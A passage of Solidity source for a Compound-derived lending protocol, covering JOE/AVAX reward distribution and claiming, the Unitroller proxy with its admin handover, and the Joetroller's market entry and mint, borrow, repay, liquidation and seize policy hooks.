require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage borrowState = rewardBorrowState[rewardType][jToken];
uint256 borrowSpeed = rewardSpeeds[rewardType][jToken];
uint256 blockTimestamp = getBlockTimestamp();
uint256 deltaTimestamps = sub_(blockTimestamp, uint256(borrowState.timestamp));
if (deltaTimestamps > 0 && borrowSpeed > 0) {
uint256 borrowAmount = div_(JToken(jToken).totalBorrows(), marketBorrowIndex);
uint256 rewardAccrued = mul_(deltaTimestamps, borrowSpeed);
Double memory ratio = borrowAmount > 0 ? fraction(rewardAccrued, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
rewardBorrowState[rewardType][jToken] = RewardMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
timestamp: safe32(blockTimestamp, "block timestamp exceeds 32 bits")
});
} else if (deltaTimestamps > 0) {
borrowState.timestamp = safe32(blockTimestamp, "block timestamp exceeds 32 bits");
}
}
/**
* @notice Calculate JOE/AVAX accrued by a supplier and possibly transfer it to them
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute JOE/AVAX to
*/
function distributeSupplierReward(
uint8 rewardType,
address jToken,
address supplier
) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage supplyState = rewardSupplyState[rewardType][jToken];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({mantissa: rewardSupplierIndex[rewardType][jToken][supplier]});
rewardSupplierIndex[rewardType][jToken][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {
supplierIndex.mantissa = rewardInitialIndex;
}
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint256 supplierTokens = JToken(jToken).balanceOf(supplier);
uint256 supplierDelta = mul_(supplierTokens, deltaIndex);
uint256 supplierAccrued = add_(rewardAccrued[rewardType][supplier], supplierDelta);
rewardAccrued[rewardType][supplier] = supplierAccrued;
emit DistributedSupplierReward(rewardType, JToken(jToken), supplier, supplierDelta, supplyIndex.mantissa);
}
/**
* @notice Calculate JOE/AVAX accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute JOE/AVAX to
*/
function distributeBorrowerReward(
uint8 rewardType,
address jToken,
address borrower,
Exp memory marketBorrowIndex
) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage borrowState = rewardBorrowState[rewardType][jToken];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({mantissa: rewardBorrowerIndex[rewardType][jToken][borrower]});
rewardBorrowerIndex[rewardType][jToken][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint256 borrowerAmount = div_(JToken(jToken).borrowBalanceStored(borrower), marketBorrowIndex);
uint256 borrowerDelta = mul_(borrowerAmount, deltaIndex);
uint256 borrowerAccrued = add_(rewardAccrued[rewardType][borrower], borrowerDelta);
rewardAccrued[rewardType][borrower] = borrowerAccrued;
emit DistributedBorrowerReward(rewardType, JToken(jToken), borrower, borrowerDelta, borrowIndex.mantissa);
}
}
/**
* @notice Refactored function to calc and rewards accounts supplier rewards
* @param jToken The market to verify the mint against
* @param supplier The supplier to be rewarded
*/
function updateAndDistributeSupplierRewardsForToken(address jToken, address supplier) external {
require(adminOrInitializing(), "only admin can update and distribute supplier rewards");
for (uint8 rewardType = 0; rewardType <= 1; rewardType++) {
updateRewardSupplyIndex(rewardType, jToken);
distributeSupplierReward(rewardType, jToken, supplier);
}
}
/**
* @notice Refactored function to calc and rewards accounts supplier rewards
* @param jToken The market to verify the mint against
* @param borrower Borrower to be rewarded
*/
function updateAndDistributeBorrowerRewardsForToken(
address jToken,
address borrower,
Exp calldata marketBorrowIndex
) external {
require(adminOrInitializing(), "only admin can update and distribute borrower rewards");
for (uint8 rewardType = 0; rewardType <= 1; rewardType++) {
updateRewardBorrowIndex(rewardType, jToken, marketBorrowIndex);
distributeBorrowerReward(rewardType, jToken, borrower, marketBorrowIndex);
}
}
/*** User functions ***/
/**
* @notice Claim all the JOE/AVAX accrued by holder in all markets
* @param holder The address to claim JOE/AVAX for
*/
function claimReward(uint8 rewardType, address payable holder) public {
return claimReward(rewardType, holder, joetroller.getAllMarkets());
}
/**
* @notice Claim all the JOE/AVAX accrued by holder in the specified markets
* @param holder The address to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
*/
function claimReward(
uint8 rewardType,
address payable holder,
JToken[] memory jTokens
) public {
address payable[] memory holders = new address payable[](1);
holders[0] = holder;
claimReward(rewardType, holders, jTokens, true, true);
}
/**
* @notice Claim all JOE/AVAX accrued by the holders
* @param rewardType 0 = JOE, 1 = AVAX
* @param holders The addresses to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
* @param borrowers Whether or not to claim JOE/AVAX earned by borrowing
* @param suppliers Whether or not to claim JOE/AVAX earned by supplying
*/
function claimReward(
uint8 rewardType,
address payable[] memory holders,
JToken[] memory jTokens,
bool borrowers,
bool suppliers
) public payable {
require(rewardType <= 1, "rewardType is invalid");
for (uint256 i = 0; i < jTokens.length; i++) {
JToken jToken = jTokens[i];
require(joetroller.isMarketListed(address(jToken)), "market must be listed");
if (borrowers == true) {
Exp memory borrowIndex = Exp({mantissa: jToken.borrowIndex()});
updateRewardBorrowIndex(rewardType, address(jToken), borrowIndex);
for (uint256 j = 0; j < holders.length; j++) {
distributeBorrowerReward(rewardType, address(jToken), holders[j], borrowIndex);
rewardAccrued[rewardType][holders[j]] = grantRewardInternal(
rewardType,
holders[j],
rewardAccrued[rewardType][holders[j]]
);
}
}
if (suppliers == true) {
updateRewardSupplyIndex(rewardType, address(jToken));
for (uint256 j = 0; j < holders.length; j++) {
distributeSupplierReward(rewardType, address(jToken), holders[j]);
rewardAccrued[rewardType][holders[j]] = grantRewardInternal(
rewardType,
holders[j],
rewardAccrued[rewardType][holders[j]]
);
}
}
}
}
/**
* @notice Transfer JOE/AVAX to the user
* @dev Note: If there is not enough JOE/AVAX, we do not perform the transfer all.
* @param user The address of the user to transfer JOE/AVAX to
* @param amount The amount of JOE/AVAX to (possibly) transfer
* @return The amount of JOE/AVAX which was NOT transferred to the user
*/
function grantRewardInternal(
uint256 rewardType,
address payable user,
uint256 amount
) internal returns (uint256) {
if (rewardType == 0) {
EIP20Interface joe = EIP20Interface(joeAddress);
uint256 joeRemaining = joe.balanceOf(address(this));
if (amount > 0 && amount <= joeRemaining) {
joe.transfer(user, amount);
return 0;
}
} else if (rewardType == 1) {
uint256 avaxRemaining = address(this).balance;
if (amount > 0 && amount <= avaxRemaining) {
user.transfer(amount);
return 0;
}
}
return amount;
}
/*** Joe Distribution Admin ***/
/**
* @notice Transfer JOE to the recipient
* @dev Note: If there is not enough JOE, we do not perform the transfer all.
* @param recipient The address of the recipient to transfer JOE to
* @param amount The amount of JOE to (possibly) transfer
*/
function _grantReward(
uint8 rewardType,
address payable recipient,
uint256 amount
) public {
require(adminOrInitializing(), "only admin can grant joe");
uint256 amountLeft = grantRewardInternal(rewardType, recipient, amount);
require(amountLeft == 0, "insufficient joe for grant");
emit RewardGranted(rewardType, recipient, amount);
}
/**
* @notice Set the JOE token address
*/
function setJoeAddress(address newJoeAddress) public {
require(msg.sender == admin, "only admin can set JOE");
joeAddress = newJoeAddress;
}
/**
* @notice Set the Joetroller address
*/
function setJoetroller(address _joetroller) public {
require(msg.sender == admin, "only admin can set Joetroller");
joetroller = Joetroller(_joetroller);
}
/**
* @notice Set the admin
*/
function setAdmin(address _newAdmin) public {
require(msg.sender == admin, "only admin can set admin");
admin = _newAdmin;
}
/**
* @notice payable function needed to receive AVAX
*/
function() external payable {}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
}
/**
* @title JoetrollerCore
* @dev Storage for the joetroller is at this address, while execution is delegated to the `joetrollerImplementation`.
* JTokens should reference this contract as their joetroller.
*/
contract Unitroller is UnitrollerAdminStorage, JoetrollerErrorReporter {
/**
* @notice Emitted when pendingJoetrollerImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingJoetrollerImplementation is accepted, which means joetroller implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) public returns (uint256) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingJoetrollerImplementation;
pendingJoetrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingJoetrollerImplementation);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts new implementation of joetroller. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptImplementation() public returns (uint256) {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
if (msg.sender != pendingJoetrollerImplementation || pendingJoetrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = joetrollerImplementation;
address oldPendingImplementation = pendingJoetrollerImplementation;
joetrollerImplementation = pendingJoetrollerImplementation;
pendingJoetrollerImplementation = address(0);
emit NewImplementation(oldImplementation, joetrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingJoetrollerImplementation);
return uint256(Error.NO_ERROR);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint256) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint256) {
// Check caller is pendingAdmin
if (msg.sender != pendingAdmin) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
function() external payable {
// delegate all other functions to current implementation
(bool success, ) = joetrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 {
revert(free_mem_ptr, returndatasize)
}
default {
return(free_mem_ptr, returndatasize)
}
}
}
}
/**
* @title Compound's Joetroller Contract
* @author Compound (modified by Cream)
*/
contract Joetroller is JoetrollerV1Storage, JoetrollerInterface, JoetrollerErrorReporter, Exponential {
/// @notice Emitted when an admin supports a market
event MarketListed(JToken jToken);
/// @notice Emitted when an admin delists a market
event MarketDelisted(JToken jToken);
/// @notice Emitted when an account enters a market
event MarketEntered(JToken jToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(JToken jToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint256 oldCloseFactorMantissa, uint256 newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(JToken jToken, uint256 oldCollateralFactorMantissa, uint256 newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint256 oldLiquidationIncentiveMantissa, uint256 newLiquidationIncentiveMantissa);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionPaused(JToken jToken, string action, bool pauseState);
/// @notice Emitted when borrow cap for a jToken is changed
event NewBorrowCap(JToken indexed jToken, uint256 newBorrowCap);
/// @notice Emitted when borrow cap guardian is changed
event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian);
/// @notice Emitted when supply cap for a jToken is changed
event NewSupplyCap(JToken indexed jToken, uint256 newSupplyCap);
/// @notice Emitted when supply cap guardian is changed
event NewSupplyCapGuardian(address oldSupplyCapGuardian, address newSupplyCapGuardian);
/// @notice Emitted when protocol's credit limit has changed
event CreditLimitChanged(address protocol, uint256 creditLimit);
/// @notice Emitted when jToken version is changed
event NewJTokenVersion(JToken jToken, Version oldVersion, Version newVersion);
// No collateralFactorMantissa may exceed this value
uint256 internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
constructor() public {
admin = msg.sender;
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() public view returns (JToken[] memory) {
return allMarkets;
}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (JToken[] memory) {
JToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param jToken The jToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, JToken jToken) external view returns (bool) {
return markets[address(jToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param jTokens The list of addresses of the jToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory jTokens) public returns (uint256[] memory) {
uint256 len = jTokens.length;
uint256[] memory results = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
JToken jToken = JToken(jTokens[i]);
results[i] = uint256(addToMarketInternal(jToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param jToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(JToken jToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(jToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.version == Version.COLLATERALCAP) {
// register collateral for the borrower if the token is CollateralCap version.
JCollateralCapErc20Interface(address(jToken)).registerCollateral(borrower);
}
if (marketToJoin.accountMembership[borrower] == true) {
// already joined
return Error.NO_ERROR;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(jToken);
emit MarketEntered(jToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param jTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address jTokenAddress) external returns (uint256) {
JToken jToken = JToken(jTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the jToken */
(uint256 oErr, uint256 tokensHeld, uint256 amountOwed, ) = jToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint256 allowed = redeemAllowedInternal(jTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[jTokenAddress];
if (marketToExit.version == Version.COLLATERALCAP) {
JCollateralCapErc20Interface(jTokenAddress).unregisterCollateral(msg.sender);
}
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint256(Error.NO_ERROR);
}
/* Set jToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete jToken from the account’s list of assets */
// load into memory for faster iteration
JToken[] memory userAssetList = accountAssets[msg.sender];
uint256 len = userAssetList.length;
uint256 assetIndex = len;
for (uint256 i = 0; i < len; i++) {
if (userAssetList[i] == jToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
JToken[] storage storedList = accountAssets[msg.sender];
if (assetIndex != storedList.length - 1) {
storedList[assetIndex] = storedList[storedList.length - 1];
}
storedList.length--;
emit MarketExited(jToken, msg.sender);
return uint256(Error.NO_ERROR);
}
/**
* @notice Return whether a specific market is listed or not
* @param jTokenAddress The address of the asset to be checked
* @return Whether or not the market is listed
*/
function isMarketListed(address jTokenAddress) public view returns (bool) {
return markets[jTokenAddress].isListed;
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param jToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(
address jToken,
address minter,
uint256 mintAmount
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[jToken], "mint is paused");
require(!isCreditAccount(minter), "credit account cannot mint");
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
uint256 supplyCap = supplyCaps[jToken];
// Supply cap of 0 corresponds to unlimited supplying
if (supplyCap != 0) {
uint256 totalCash = JToken(jToken).getCash();
uint256 totalBorrows = JToken(jToken).totalBorrows();
uint256 totalReserves = JToken(jToken).totalReserves();
// totalSupplies = totalCash + totalBorrows - totalReserves
(MathError mathErr, uint256 totalSupplies) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
require(mathErr == MathError.NO_ERROR, "totalSupplies failed");
uint256 nextTotalSupplies = add_(totalSupplies, mintAmount);
require(nextTotalSupplies < supplyCap, "market supply cap reached");
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, minter);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param jToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(
address jToken,
address minter,
uint256 actualMintAmount,
uint256 mintTokens
) external {
// Shh - currently unused
jToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param jToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of jTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(
address jToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256) {
uint256 allowed = redeemAllowedInternal(jToken, redeemer, redeemTokens);
if (allowed != uint256(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel going
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, redeemer);
return uint256(Error.NO_ERROR);
}
function redeemAllowedInternal(
address jToken,
address redeemer,
uint256 redeemTokens
) internal view returns (uint256) {
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[jToken].accountMembership[redeemer]) {
return uint256(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
redeemer,
JToken(jToken),
redeemTokens,
0
);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall > 0) {
return uint256(Error.INSUFFICIENT_LIQUIDITY);
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param jToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(
address jToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external {
// Shh - currently unused
jToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param jToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(
address jToken,
address borrower,
uint256 borrowAmount
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[jToken], "borrow is paused");
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
if (!markets[jToken].accountMembership[borrower]) {
// only jTokens may call borrowAllowed if borrower not in market
require(msg.sender == jToken, "sender must be jToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(JToken(jToken), borrower);
if (err != Error.NO_ERROR) {
return uint256(err);
}
// it should be impossible to break the important invariant
assert(markets[jToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(JToken(jToken)) == 0) {
return uint256(Error.PRICE_ERROR);
}
uint256 borrowCap = borrowCaps[jToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint256 totalBorrows = JToken(jToken).totalBorrows();
uint256 nextTotalBorrows = add_(totalBorrows, borrowAmount);
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
borrower,
JToken(jToken),
0,
borrowAmount
);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall > 0) {
return uint256(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel going
Exp memory borrowIndex = Exp({mantissa: JToken(jToken).borrowIndex()});
RewardDistributor(rewardDistributor).updateAndDistributeBorrowerRewardsForToken(jToken, borrower, borrowIndex);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param jToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(
address jToken,
address borrower,
uint256 borrowAmount
) external {
// Shh - currently unused
jToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param jToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address jToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256) {
// Shh - currently unused
payer;
borrower;
repayAmount;
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel going
Exp memory borrowIndex = Exp({mantissa: JToken(jToken).borrowIndex()});
RewardDistributor(rewardDistributor).updateAndDistributeBorrowerRewardsForToken(jToken, borrower, borrowIndex);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param jToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address jToken,
address payer,
address borrower,
uint256 actualRepayAmount,
uint256 borrowerIndex
) external {
// Shh - currently unused
jToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256) {
require(!isCreditAccount(borrower), "cannot liquidate credit account");
// Shh - currently unused
liquidator;
if (!isMarketListed(jTokenBorrowed) || !isMarketListed(jTokenCollateral)) {
return uint256(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint256 shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall == 0) {
return uint256(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = JToken(jTokenBorrowed).borrowBalanceStored(borrower);
uint256 maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (repayAmount > maxClose) {
return uint256(Error.TOO_MUCH_REPAY);
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 actualRepayAmount,
uint256 seizeTokens
) external {
// Shh - currently unused
jTokenBorrowed;
jTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
require(!isCreditAccount(borrower), "cannot sieze from credit account");
// Shh - currently unused
liquidator;
seizeTokens;
if (!isMarketListed(jTokenCollateral) || !isMarketListed(jTokenBorrowed)) {
return uint256(Error.MARKET_NOT_LISTED);
}
if (JToken(jTokenCollateral).joetroller() != JToken(jTokenBorrowed).joetroller()) {
return uint256(Error.JOETROLLER_MISMATCH);
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jTokenCollateral, borrower);
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jTokenCollateral, liquidator);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external {
// Shh - currently unused
jTokenCollateral;
jTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param jToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of jTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(
address jToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
require(!isCreditAccount(dst), "cannot transfer to a credit account");
